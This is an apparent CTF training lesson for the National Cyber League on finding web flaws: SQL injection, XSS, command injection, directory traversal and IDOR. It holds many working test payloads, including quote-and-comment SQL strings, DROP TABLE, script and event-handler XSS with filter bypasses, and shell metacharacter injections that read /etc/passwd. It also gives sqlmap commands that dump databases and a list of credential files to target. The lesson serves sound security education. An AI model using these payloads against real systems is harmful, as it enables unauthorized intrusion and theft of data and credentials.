ctf Lesson 27 20 min read

NCL: Web Application Security

Finding and exploiting common web vulnerabilities — SQL injection, XSS, and more

Web Application Security

Web application security challenges test your ability to find and exploit vulnerabilities in websites. NCL presents you with a running web application and asks you to extract data, bypass authentication, or find hidden content.

The vulnerabilities tested map to the OWASP Top 10 — the industry-standard list of the most critical web security risks. This page covers the five most common in NCL: SQL injection, cross-site scripting, command injection, directory traversal, and insecure direct object references.


1. SQL Injection (SQLi)

SQL injection occurs when user input is inserted directly into a SQL query without sanitization. If a login form builds a query like SELECT * FROM users WHERE username='INPUT' AND password='INPUT', an attacker can manipulate the query by entering SQL syntax as input.

Testing for SQLi

Enter these in input fields (username, search bars, URL parameters):

' OR 1=1 --
' OR '1'='1
admin' --
" OR ""="
1; DROP TABLE users --

The ' breaks out of the string context. OR 1=1 makes the condition always true (returns all rows). -- comments out the rest of the query, bypassing the password check.

Tools

# Automated SQL injection with sqlmap
sqlmap -u "http://target.com/page?id=1" --dbs          # List databases
sqlmap -u "http://target.com/page?id=1" -D dbname --tables  # List tables
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump  # Dump data

sqlmap automates the entire injection process — it detects the injection point, determines the database type, and extracts data.

Checkpoint: A login form sends username and password as a POST request. How do you test for SQL injection with sqlmap?

Capture the POST request with Burp Suite or browser DevTools, then:

sqlmap -u "http://target.com/login" --data="username=admin&password=test" --dbs

The --data flag specifies POST parameters. sqlmap will test each parameter for injection. Alternatively, save the request to a file with Burp and use sqlmap -r request.txt.


2. Cross-Site Scripting (XSS)

XSS occurs when a web application includes user-supplied data in its HTML output without encoding it. An attacker can inject JavaScript that executes in other users’ browsers.

Types

Type Description Persistence
Reflected Input appears immediately in the response (e.g., search results) One-time (URL-based)
Stored Input is saved and displayed to other users (e.g., comments, profiles) Permanent until removed
DOM-based JavaScript modifies the page using unsanitized input Client-side only

Testing for XSS

Enter these in input fields and check if they execute:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(document.cookie)</script>

If an alert box appears, the application is vulnerable. In NCL, you typically need to demonstrate that JavaScript can execute, or extract a specific value (like a cookie or session token).

Bypassing filters

Applications sometimes filter <script> tags. Common bypasses:

<ScRiPt>alert(1)</ScRiPt>                    <!-- Case variation -->
<img src=x onerror=alert(1)>                 <!-- Event handler -->
<svg/onload=alert(1)>                        <!-- SVG tag -->
<body onload=alert(1)>                       <!-- Body event -->
javascript:alert(1)                          <!-- In href attributes -->
Checkpoint: You enter <script>alert(1)</script> in a comment field and see an alert box. What type of XSS is this?

If the comment is saved and the alert fires for other users viewing the page, it is stored XSS — the most dangerous type because it persists and affects all visitors. If the input only appeared in the immediate response (e.g., a search query reflected back), it would be reflected XSS.


3. Command Injection

Command injection occurs when user input is passed to a system shell command. If an application runs ping USER_INPUT, an attacker can append additional commands using shell metacharacters.

Testing

; ls -la
| cat /etc/passwd
$(whoami)
`id`
; cat /flag.txt

The ; terminates the intended command and starts a new one. | pipes output. $() and backticks execute subcommands.

Example

A web form asks for a hostname to ping. Normal input: google.com. Malicious input:

google.com; cat /etc/passwd

The server runs ping google.com; cat /etc/passwd, executing both commands.

Checkpoint: An application has a "ping" feature but filters semicolons (;). How else can you inject a command?

Try | cat /etc/passwd (pipe), && cat /etc/passwd (AND — runs if ping succeeds), || cat /etc/passwd (OR — runs if ping fails), or $(cat /etc/passwd) (command substitution). Different operating systems and shells support different metacharacters.


4. Directory Traversal

Directory traversal (also called path traversal) allows reading files outside the web root by manipulating file path parameters with ../ sequences.

Testing

If a URL includes a file parameter like http://target.com/page?file=report.pdf, try:

http://target.com/page?file=../../../etc/passwd
http://target.com/page?file=....//....//etc/passwd
http://target.com/page?file=%2e%2e%2f%2e%2e%2fetc/passwd

../ moves up one directory. Three levels of ../ from a typical web root (/var/www/html/) reaches the filesystem root (/). URL encoding (%2e%2e%2f) bypasses basic filters.

Common target files

File Contents
/etc/passwd User accounts (proof of traversal)
/etc/shadow Password hashes (requires root)
/var/log/auth.log Authentication logs
C:\Windows\System32\config\SAM Windows password database
../../.env Application environment variables (API keys, DB passwords)

5. Insecure Direct Object References (IDOR)

IDOR occurs when an application uses user-controllable parameters (like IDs) to access resources without authorization checks. If http://target.com/profile?id=42 shows your profile, changing it to ?id=43 might show someone else’s.

Testing

# Change numeric IDs
http://target.com/api/user/1  →  /api/user/2
http://target.com/invoice?id=1001  →  ?id=1002

# Change filenames
http://target.com/download?file=my_report.pdf  →  ?file=admin_report.pdf

In NCL, IDOR challenges typically ask you to access another user’s data or an admin page by modifying a URL parameter.


Tools

Tool Purpose
Burp Suite Web proxy — intercept, modify, and replay HTTP requests
Browser DevTools Inspect network requests, cookies, localStorage
curl Send custom HTTP requests from the command line
sqlmap Automated SQL injection
dirb / gobuster Directory brute forcing (find hidden pages)
nikto Web vulnerability scanner

Burp Suite basics

Burp Suite acts as a proxy between your browser and the target. It lets you intercept requests, modify parameters, and replay them. For NCL:

  1. Configure your browser to use Burp as a proxy (127.0.0.1:8080)
  2. Browse the target — Burp captures every request
  3. Send interesting requests to Repeater to modify and resend
  4. Use Intruder for automated parameter fuzzing

Resources

Practice: PortSwigger Web Security Academy (free, comprehensive labs — highly recommended) · OWASP Juice Shop (intentionally vulnerable app) · HackTheBox (web challenges)

Reference: OWASP Top 10 · OWASP Testing Guide

Video: John Hammond — web exploitation · LiveOverflow — web security